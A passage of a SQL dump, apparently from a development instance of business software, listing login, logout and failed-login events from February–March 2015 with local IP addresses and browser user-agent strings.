Safari/537.22',NULL,NULL,NULL,NULL),(381,'2015-02-24 01:39:47','USER_LOGIN_FAILED',1,'2015-02-24 02:39:47',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(382,'2015-02-24 01:40:54','USER_LOGIN_FAILED',1,'2015-02-24 02:40:54',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(383,'2015-02-24 01:47:57','USER_LOGIN_FAILED',1,'2015-02-24 02:47:57',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(384,'2015-02-24 01:48:05','USER_LOGIN_FAILED',1,'2015-02-24 02:48:05',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(385,'2015-02-24 01:48:07','USER_LOGIN_FAILED',1,'2015-02-24 02:48:07',NULL,'Unknown column \'u.lastname\' in \'field list\'','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(386,'2015-02-24 01:48:35','USER_LOGIN',1,'2015-02-24 02:48:35',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(387,'2015-02-24 01:56:32','USER_LOGIN',1,'2015-02-24 02:56:32',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(388,'2015-02-24 02:05:55','USER_LOGOUT',1,'2015-02-24 03:05:55',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(389,'2015-02-24 02:39:52','USER_LOGIN',1,'2015-02-24 03:39:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(390,'2015-02-24 02:51:10','USER_LOGOUT',1,'2015-02-24 03:51:10',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(391,'2015-02-24 12:46:41','USER_LOGIN',1,'2015-02-24 13:46:41',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(392,'2015-02-24 12:46:52','USER_LOGOUT',1,'2015-02-24 13:46:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(393,'2015-02-24 12:46:56','USER_LOGIN',1,'2015-02-24 13:46:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(394,'2015-02-24 12:47:56','USER_LOGOUT',1,'2015-02-24 13:47:56',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(395,'2015-02-24 12:48:00','USER_LOGIN',1,'2015-02-24 13:48:00',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(396,'2015-02-24 12:48:11','USER_LOGOUT',1,'2015-02-24 13:48:11',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(397,'2015-02-24 12:48:32','USER_LOGIN',1,'2015-02-24 13:48:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(398,'2015-02-24 12:52:22','USER_LOGOUT',1,'2015-02-24 13:52:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(399,'2015-02-24 12:52:27','USER_LOGIN',1,'2015-02-24 13:52:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(400,'2015-02-24 12:52:54','USER_LOGOUT',1,'2015-02-24 13:52:54',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(401,'2015-02-24 12:52:59','USER_LOGIN',1,'2015-02-24 13:52:59',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(402,'2015-02-24 12:55:39','USER_LOGOUT',1,'2015-02-24 13:55:39',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(403,'2015-02-24 12:55:59','USER_LOGIN',1,'2015-02-24 13:55:59',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(404,'2015-02-24 12:56:07','USER_LOGOUT',1,'2015-02-24 13:56:07',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(405,'2015-02-24 12:56:23','USER_LOGIN',1,'2015-02-24 13:56:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(406,'2015-02-24 12:56:46','USER_LOGOUT',1,'2015-02-24 13:56:46',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(407,'2015-02-24 12:58:30','USER_LOGIN',1,'2015-02-24 13:58:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(408,'2015-02-24 12:58:33','USER_LOGOUT',1,'2015-02-24 13:58:33',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(409,'2015-02-24 12:58:51','USER_LOGIN',1,'2015-02-24 13:58:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(410,'2015-02-24 12:58:58','USER_LOGOUT',1,'2015-02-24 13:58:58',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(411,'2015-02-24 13:18:53','USER_LOGIN',1,'2015-02-24 14:18:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(412,'2015-02-24 13:19:52','USER_LOGOUT',1,'2015-02-24 14:19:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(413,'2015-02-24 15:39:31','USER_LOGIN_FAILED',1,'2015-02-24 16:39:31',NULL,'ErrorBadValueForCode - login=admin','127.0.0.1',NULL,NULL,NULL,NULL,NULL),(414,'2015-02-24 15:42:07','USER_LOGIN',1,'2015-02-24 16:42:07',1,'(UserLogged,admin)','127.0.0.1',NULL,NULL,NULL,NULL,NULL),(415,'2015-02-24 15:42:52','USER_LOGOUT',1,'2015-02-24 16:42:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(416,'2015-02-24 16:04:21','USER_LOGIN',1,'2015-02-24 17:04:21',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(417,'2015-02-24 16:11:28','USER_LOGIN_FAILED',1,'2015-02-24 17:11:28',NULL,'ErrorBadValueForCode - login=admin','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(418,'2015-02-24 16:11:37','USER_LOGIN',1,'2015-02-24 17:11:37',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(419,'2015-02-24 16:36:52','USER_LOGOUT',1,'2015-02-24 17:36:52',1,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(420,'2015-02-24 16:40:37','USER_LOGIN',1,'2015-02-24 17:40:37',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(421,'2015-02-24 16:57:16','USER_LOGIN',1,'2015-02-24 17:57:16',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(422,'2015-02-24 17:01:30','USER_LOGOUT',1,'2015-02-24 18:01:30',1,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(423,'2015-02-24 17:02:33','USER_LOGIN',1,'2015-02-24 18:02:33',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(424,'2015-02-24 17:14:22','USER_LOGOUT',1,'2015-02-24 18:14:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(425,'2015-02-24 17:15:07','USER_LOGIN_FAILED',1,'2015-02-24 18:15:07',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(426,'2015-02-24 17:15:20','USER_LOGIN',1,'2015-02-24 18:15:20',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(427,'2015-02-24 17:20:14','USER_LOGIN',1,'2015-02-24 18:20:14',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(428,'2015-02-24 17:20:51','USER_LOGIN',1,'2015-02-24 18:20:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(429,'2015-02-24 17:20:54','USER_LOGOUT',1,'2015-02-24 18:20:54',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(430,'2015-02-24 17:21:19','USER_LOGIN',1,'2015-02-24 18:21:19',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(431,'2015-02-24 17:32:35','USER_LOGIN',1,'2015-02-24 18:32:35',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(432,'2015-02-24 18:28:48','USER_LOGIN',1,'2015-02-24 19:28:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(433,'2015-02-24 18:29:27','USER_LOGOUT',1,'2015-02-24 19:29:27',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(434,'2015-02-24 18:29:32','USER_LOGIN',1,'2015-02-24 19:29:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(435,'2015-02-24 20:13:13','USER_LOGOUT',1,'2015-02-24 21:13:13',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(436,'2015-02-24 20:13:17','USER_LOGIN',1,'2015-02-24 21:13:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(437,'2015-02-25 08:57:16','USER_LOGIN',1,'2015-02-25 09:57:16',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(438,'2015-02-25 08:57:59','USER_LOGOUT',1,'2015-02-25 09:57:59',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(439,'2015-02-25 09:15:02','USER_LOGIN',1,'2015-02-25 10:15:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(440,'2015-02-25 09:15:50','USER_LOGOUT',1,'2015-02-25 10:15:50',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(441,'2015-02-25 09:15:57','USER_LOGIN',1,'2015-02-25 10:15:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(442,'2015-02-25 09:16:12','USER_LOGOUT',1,'2015-02-25 10:16:12',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(443,'2015-02-25 09:16:19','USER_LOGIN',1,'2015-02-25 10:16:19',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(444,'2015-02-25 09:16:25','USER_LOGOUT',1,'2015-02-25 10:16:25',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(445,'2015-02-25 09:16:39','USER_LOGIN_FAILED',1,'2015-02-25 10:16:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(446,'2015-02-25 09:16:42','USER_LOGIN_FAILED',1,'2015-02-25 10:16:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(447,'2015-02-25 09:16:54','USER_LOGIN_FAILED',1,'2015-02-25 10:16:54',NULL,'Identificadors d'usuari o contrasenya incorrectes - login=gfdg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(448,'2015-02-25 09:17:53','USER_LOGIN',1,'2015-02-25 10:17:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(449,'2015-02-25 09:18:37','USER_LOGOUT',1,'2015-02-25 10:18:37',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(450,'2015-02-25 09:18:41','USER_LOGIN',1,'2015-02-25 10:18:41',4,'(UserLogged,aaa)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(451,'2015-02-25 09:18:47','USER_LOGOUT',1,'2015-02-25 10:18:47',4,'(UserLogoff,aaa)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(452,'2015-02-25 10:05:34','USER_LOGIN',1,'2015-02-25 11:05:34',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(453,'2015-02-26 21:51:40','USER_LOGIN',1,'2015-02-26 22:51:40',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(454,'2015-02-26 23:30:06','USER_LOGIN',1,'2015-02-27 00:30:06',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(455,'2015-02-27 14:13:11','USER_LOGIN',1,'2015-02-27 15:13:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(456,'2015-02-27 18:12:06','USER_LOGIN_FAILED',1,'2015-02-27 19:12:06',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(457,'2015-02-27 18:12:10','USER_LOGIN',1,'2015-02-27 19:12:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(458,'2015-02-27 20:20:08','USER_LOGIN',1,'2015-02-27 21:20:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(459,'2015-03-01 22:12:03','USER_LOGIN',1,'2015-03-01 23:12:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(460,'2015-03-02 11:45:50','USER_LOGIN',1,'2015-03-02 12:45:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(461,'2015-03-02 15:53:51','USER_LOGIN_FAILED',1,'2015-03-02 16:53:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(462,'2015-03-02 15:53:53','USER_LOGIN',1,'2015-03-02 16:53:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(463,'2015-03-02 18:32:32','USER_LOGIN',1,'2015-03-02 19:32:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(464,'2015-03-02 22:59:36','USER_LOGIN',1,'2015-03-02 23:59:36',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(465,'2015-03-03 16:26:26','USER_LOGIN',1,'2015-03-03 17:26:26',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(466,'2015-03-03 22:50:27','USER_LOGIN',1,'2015-03-03 23:50:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(467,'2015-03-04 08:29:27','USER_LOGIN',1,'2015-03-04 09:29:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(468,'2015-03-04 18:27:28','USER_LOGIN',1,'2015-03-04 19:27:28',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)',NULL,NULL,NULL,NULL),(469,'2015-03-04 19:27:23','USER_LOGIN',1,'2015-03-04 20:27:23',1,'(UserLogged,admin)','192.168.0.254','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',NULL,NULL,NULL,NULL),(470,'2015-03-04 19:35:14','USER_LOGIN',1,'2015-03-04 20:35:14',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(471,'2015-03-04 19:55:49','USER_LOGIN',1,'2015-03-04 20:55:49',1,'(UserLogged,admin)','192.168.0.254','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',NULL,NULL,NULL,NULL),(472,'2015-03-04 21:16:13','USER_LOGIN',1,'2015-03-04 22:16:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(473,'2015-03-05 10:17:30','USER_LOGIN',1,'2015-03-05 11:17:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(474,'2015-03-05 11:02:43','USER_LOGIN',1,'2015-03-05 12:02:43',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(475,'2015-03-05 23:14:39','USER_LOGIN',1,'2015-03-06 00:14:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(476,'2015-03-06 08:58:57','USER_LOGIN',1,'2015-03-06 09:58:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(477,'2015-03-06 14:29:40','USER_LOGIN',1,'2015-03-06 15:29:40',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(478,'2015-03-06 21:53:02','USER_LOGIN',1,'2015-03-06 22:53:02',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(479,'2015-03-07 21:14:39','USER_LOGIN',1,'2015-03-07 22:14:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 